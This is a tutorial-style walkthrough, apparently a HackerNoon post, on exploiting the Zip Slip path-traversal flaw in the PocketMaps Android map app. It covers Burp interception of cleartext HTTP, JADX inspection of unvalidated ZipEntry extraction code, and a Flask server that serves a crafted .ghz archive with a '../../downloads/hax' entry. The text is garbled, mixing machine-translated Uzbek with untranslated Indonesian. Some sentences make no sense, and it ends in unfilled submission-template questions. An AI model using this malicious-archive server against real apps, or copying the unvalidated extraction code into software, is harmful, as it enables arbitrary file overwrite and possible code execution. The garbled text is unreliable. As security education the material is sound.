paint-brush
Ilgari oshkor etilmagan kamchilik xakerlarga begunoh ko'rinadigan fayllar orqali millionlab tizimlarni o'g'irlashiga imkon berdi.tomonidan@psychopper
338 o'qishlar
338 o'qishlar

Ilgari oshkor etilmagan kamchilik xakerlarga begunoh ko'rinadigan fayllar orqali millionlab tizimlarni o'g'irlashiga imkon berdi.

tomonidan Fikri Azhar13m2025/01/28
Read on Terminal Reader

Juda uzoq; O'qish

Zip Slip - arxivdan chiqarish jarayonida keng tarqalgan jiddiy zaiflik. Zaiflik 2018-yil 5-iyun kuni ommaga e’lon qilinishidan oldin Snyk Security jamoasi tomonidan aniqlangan va mas’uliyat bilan oshkor qilingan. Muammo minglab loyihalarga, jumladan HP, Amazon, Apache, Pivotal va boshqa ko‘plab yirik kompaniyalarga tegishli.
featured image - Ilgari oshkor etilmagan kamchilik xakerlarga begunoh ko'rinadigan fayllar orqali millionlab tizimlarni o'g'irlashiga imkon berdi.
Fikri Azhar HackerNoon profile picture
0-item



ZIP SLIP zaifligi nima?

Zip Slip - arxivdan chiqarish jarayonida keng tarqalgan jiddiy zaiflik bo'lib, tajovuzkorlarga tizimga istalgan faylni yozish imkonini beradi. Odatda, bu RCE (Remote Code Execution) ga olib keladi. Zaiflik 2018-yil 5-iyun kuni ommaga e’lon qilinishidan oldin Snyk Security jamoasi tomonidan aniqlangan va mas’uliyat bilan oshkor qilingan. Muammo minglab loyihalarga, jumladan HP, Amazon, Apache, Pivotal va boshqa ko‘plab yirik kompaniyalarga tegishli.


Zip Slip fayl nomlari bilan maxsus yaratilgan arxivlar orqali foydalaniladi (eg, ../../evil.sh) . Ushbu zaiflik tar, ghz, jar, war, cpio, apk, rar va 7z kabi ko'plab arxiv formatlarida paydo bo'lishi mumkin.


Ushbu zaiflikning asosi kataloglarni o'tishdir, bu erda tajovuzkor maqsadli papkadan tashqarida tizim fayllari qismlariga kirishi mumkin. Keyin tajovuzkor bajariladigan faylni bekor qilishi va uni masofadan turib ishga tushirishi yoki tizim yoki foydalanuvchining faylni chaqirishini kutishi mumkin, shunda ular jabrlanuvchining mashinasida buyruqlarni bajarishlari mumkin. Bundan tashqari, ushbu zaiflik konfiguratsiya fayllari yoki boshqa nozik resurslarni qayta yozish orqali ham zarar etkazishi mumkin va undan foydalanuvchi mashinasida ham, serverda ham foydalanish mumkin.


ZIP slipdan qanday foydalanish mumkin

Zip Slip Vulnerability-ni ekspluatatsiya qilishdan foydalanish uchun Android operatsion tizimi o'rnatilmagan.


Google Maps ilovasi uchun mahalliy xaritalarni yuklab olish uchun mahalliy xaritalarni yuklab olish uchun resursni yuklab olish uchun tugmani bosing + ni bosing.


Tetapi sebelum kita analysis Flow dari cara kerja apk ini kita harus memakai apk Burpsuite. Untuk yang belum tau apk Burpsuite adalah aplikasi yang digunakan untuk menguji keamanan aplikasi web va mobile. Alat ini berfungsi untuk mendeteksi kerentanan, menganalisis, dan mengatasi masalah keamanan .


Yuklab olish uchun asboblar va havolani bosing.

https://portswigger.net/burp/communitydownload


Berikut adalah hasil Intercept keta kita mau menambahkan maps nya, dan bisa di analysis kalau apk ini rentan karena permintaan API na masih memakai protocol HTTP tidak menggunakan HTTPS yang dimana memungkinkan Attacker Attacker tidak tidak hanya bisa melihat melihatrim traffic, yang, so'rovni manipulyatsiya qilish/memodifikasi va aniq matnga javob berish.


Dan fakta nya bahwa ketika masih memakai HTTP dapat membuka seluruh area permukaan serangan, Contohnya jenis serangan yang sedang kita buat ini.



JADX Asboblari Teskari Muhandislik tizimi statik tahlilni o'z ichiga oladi.


network_security_config.xml faylni tahlil qilish uchun cleartextTrafficPermitted="true" konfiguratsiyasini o'rnating. Sehingga konfiguratsiyasi ni aniq matnli trafikni o'rnatish uchun domenni yang diizinkan. Tetapi apakah domeni CleartextTraffic to'g'risida ma'lumot bermadi. Bisa saja ini dibuat hanya untuk pengujian / tidak digunakan dalam production.



ini adalah Hasil intercept keta kita menyuklab olish xaritalar nya yang dimana dia mengambil fayl ZIP dengan format .ghz





Dan mencoba mendownload file .ghz secara manual dengan copas di laptop. Berikut adalah isi fayl ZIP tersebut.


Untuk mengetahui lokasi data yang di unzip oleh aplikasi kita bisa gunakan buyrug'ini find / | grep australia oceania_nauru.map di adb shell mobile emulator yoki pastikan juga kalau kita sudah memiliki akses root di emulatornya.





Bisa dilihat kalau path file yang di unzip ada di:

/data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps/

Ini juga menunjukkan kepada kita bahwa aplikasi benar-benar meng-unzip file map nya.





Zaiflikni tahlil qilish bosqichi


Mari kita lihat lebih dekat pada pada arbitary file write Vulnerability dalam aplikasi nya, Seperti yang sudah kita ketahui issue nya terkait dengan File ZIP Maps Handling. Statik tahlil uchun kalit so'z: ZipEntry agar mengetahui sinf kode va meng-handle fayl ZIP xaritasi.



Sebelum kita tahlili lebih dalam code nya, saya akan mengikuti panduan dari snyk team untuk mencari kode yang sering diimplementasi tetapi rentan. Berikut adalah salah satu panduan yang khusus untuk bahasa java, Bisa baca lebih lanjut: https://github.com/snyk/zip-slip-vulnerability

Penjelasan:

Kode berikut rentan terhadap serangan zip slip karena tidak melakukan validasi yang memadai terhadap jalur file dalam arsip zip sebelum mengekstraknya. Di sini, e.getName() dapat mengembalikan nom fayl dengan jalur relatif yang berbahaya, seperti ../../malicious.sh . Ini berarti file tersebut bisa diekstrak di luar destinationDir yang ditentukan.

 InputStream input = zip.getInputStream(e); IOUtils.copy(input, write(f));

Setelah file dibuat, konten file langsung disalin tanpa memeriksa jalur keluaran apakah sudah aman atau tidak. Jika jalur tersebut menuju ke lokasi berbahaya, seperti direktori root sistem atau papka lain yang seharusnya tidak dapat diakses oleh aplikasi, itu bisa sangat berbahaya.


Karena kita sudah mengetahui kode yang rentan sesuai panduan mari kita tahlil kodi di apk nya:

Pembuatan yo'li Tanpa Validasi:

 String str3 = file.getAbsolutePath() + File.separator + nextEntry.getName();

Bu fayl ( str3 ) dan boshqa yo'lni o'rnatish uchun direktori ( file.getAbsolutePath() ) zip ( nextEntry.getName() ) ni kiriting. Namun, nextEntry.getName() bisa berisi elemen path berbahaya seperti ../../ , yang dapat menyebabkan file diekstrak di luar direktori yang dimaksud ( file ).

Yo'l yo'nalishi bo'yicha, fayl yoki direktori dibuat langsung:

 if (nextEntry.isDirectory()) { new File(str3).mkdir(); } else { e(zipInputStream, str3, eVar, "" + i3 + " Unzipping " + str2, size, null); }

Ini membuat atau menulis file tanpa memastikan bahwa str3 adalah jalur yang aman.




Ekspluatatsiya bosqichi

Untuk di tahap ini saya menyiapkan 2 hal untuk muhit serangan nya:

  1. O'rnatish Dynamic HTTP masxara muhiti : kengaytmasi HTTP Mock dari burpsuite ini dapat mengubah answer asli dari aplikasinya dengan mencocokkan qoidalari Yang sudah kita kirimkan dari http history maupun input manual . URL manziliga qayta yo'naltirish, javobni real vaqt rejimida ko'rish uchun HTTP Mock orqali javob berish mumkin.


2. Mahalliy server muhitini o'rnatish : Zararli mahalliy serverni qayta yo'naltirish uchun so'rov yuboriladi:

 from flask import Flask, jsonify, send_file import zipfile, io app = Flask(__name__) @app.route('/map.json') def map_json(): response = { "maps-0.13.0_0-path": "maps", "maps-0.13.0_0": [ {"name": "maliciousmaps_USA", "size": "300k", "time": "2025-01"}, ] } return jsonify(response) @app.route('/map.ghz') def map_archive(): # Create a ZipFile object zip_buffer = io.BytesIO() filename = "../../downloads/hax" with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: content = "You have been hacked" zip_file.writestr(filename, content) zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) if __name__ == '__main__': app.run(debug=True, port=1234)













Kiberxavfsizlikka qanday kirgansiz?

Nega siz raqamli xavfsizlik bo'yicha vakolatlisiz?

Bu sohada sizning tajribangiz qanday?

Kiberjinoyat doimo rivojlanib bormoqda. HackerNoon hamjamiyati raqamli firibgarlarga qarshi kurashda bilishi mumkin bo'lgan kiberjinoyat dunyosida nima yangiliklar bor?

O'quvchilar e'tibor berishlari kerak bo'lgan kiberxavfsizlik tendentsiyalari yoki tahdidlari bormi?

Troyan dasturlari, zararli dasturlar, josuslik dasturlari va boshqalar. Sevimli shaxsiy kompyuterlarimizga zarar etkazishi va ma'lumotlarimizni olishi mumkin bo'lgan eng so'nggi xatolar haqida qanday ma'lumotlar bor? Biroq, u shu erda to'xtamaydi; U erda yana qanday kiber yovuzliklar borligini bizga xabar bering!

Internetda o'zingizni qanday himoya qilasiz?

Zaifliklar bilan yangi texnologiyalardan qanday foydalanyapsiz? Aqlli uylar, sun'iy intellekt va narsalar interneti o'zlarining zaif tomonlariga ega.

Qo'shimcha fikrlar


Xulosa


Loyihangizni yozish va yuborishdan oldin yuqoridagi barcha maʼlumotlarni oʻchirib tashlang. Rahmat!